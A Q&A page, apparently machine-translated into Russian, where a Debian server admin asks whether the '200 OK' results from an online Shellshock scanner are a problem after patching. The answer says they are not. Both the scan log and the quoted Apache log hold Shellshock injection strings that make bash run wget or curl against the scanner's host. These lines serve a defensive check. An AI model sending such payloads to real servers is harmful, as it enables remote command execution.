Тест ShellShock показывает wget и вихревой доступ

Я исправил ошибку контузии на своем сервере Debian 6 и при тестировании на http://shellshock.brandonpotter.com/, я не получаю "Уязвимостей, Найденных", и это в порядке, но они также проверяют другие вещи, и в тестовом журнале я добираюсь:

URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { :;}; wget)... 200 OK
URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { :;}; curl)... 200 OK
URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { :;}; /usr/local/bin/wget)... 200 OK
URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { :;}; /usr/bin/wget)... 200 OK
URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { (a)=>' bash -c 'wget)... 200 OK
URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { (a)=>' bash -c 'curl)... 200 OK
URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { (a)=>' bash -c '/usr/local/bin/wget)... 200 OK
URL mydomain.net (Root URL) (Header User-Agent exploit attempted with () { (a)=>' bash -c '/usr/bin/wget)... 200 OK
URL mydomain.net (Root URL) (Header Cookie exploit attempted with () { :;}; wget)... 200 OK
URL mydomain.net (Root URL) (Header Cookie exploit attempted with () { :;}; curl)... 200 OK
URL mydomain.net (Root URL) (Header Cookie exploit attempted with () { :;}; /usr/local/bin/wget)... 200 OK
...
...
...

"200 хорошо" это в порядке? 200 означает accesable. У меня есть пара проверки, другие домены и некоторые из них показывают также "200 хорошо", но другим шоу "Ошибку".

Это может остаться как это, или я должен зафиксировать это? Если да, как я могу сделать это?

2
задан 22 October 2014 в 11:48
1 ответ

Я проверял это на своем сайте, не беспокойтесь.

Этот сайт выполняет некоторые тесты на / , они не вызывают конкретный cgi-скрипт. И это приводит к 200 OK, независимо от того, что переданный референт или пользовательский агент пытается использовать.

Это пример того, что показывает мой журнал apache:

75.127.84.182 - - [22/Oct/2014:11:52:54 +0200] "GET / HTTP/1.1" 200 5883 "() { (a)=>' bash -c 'wget http://shellshock.brandonpotter.com/report/TY7LR3VRD4E13X2XQXRUWV/Referer-bash-c-wget'" "-"
75.127.84.182 - - [22/Oct/2014:11:52:55 +0200] "GET / HTTP/1.1" 200 5883 "() { (a)=>' bash -c 'curl http://shellshock.brandonpotter.com/report/TY7LR3VRD4E13X2XQXRUWV/Referer-bash-c-curl'" "-"
0
ответ дан 3 December 2019 в 14:56

Теги

Похожие вопросы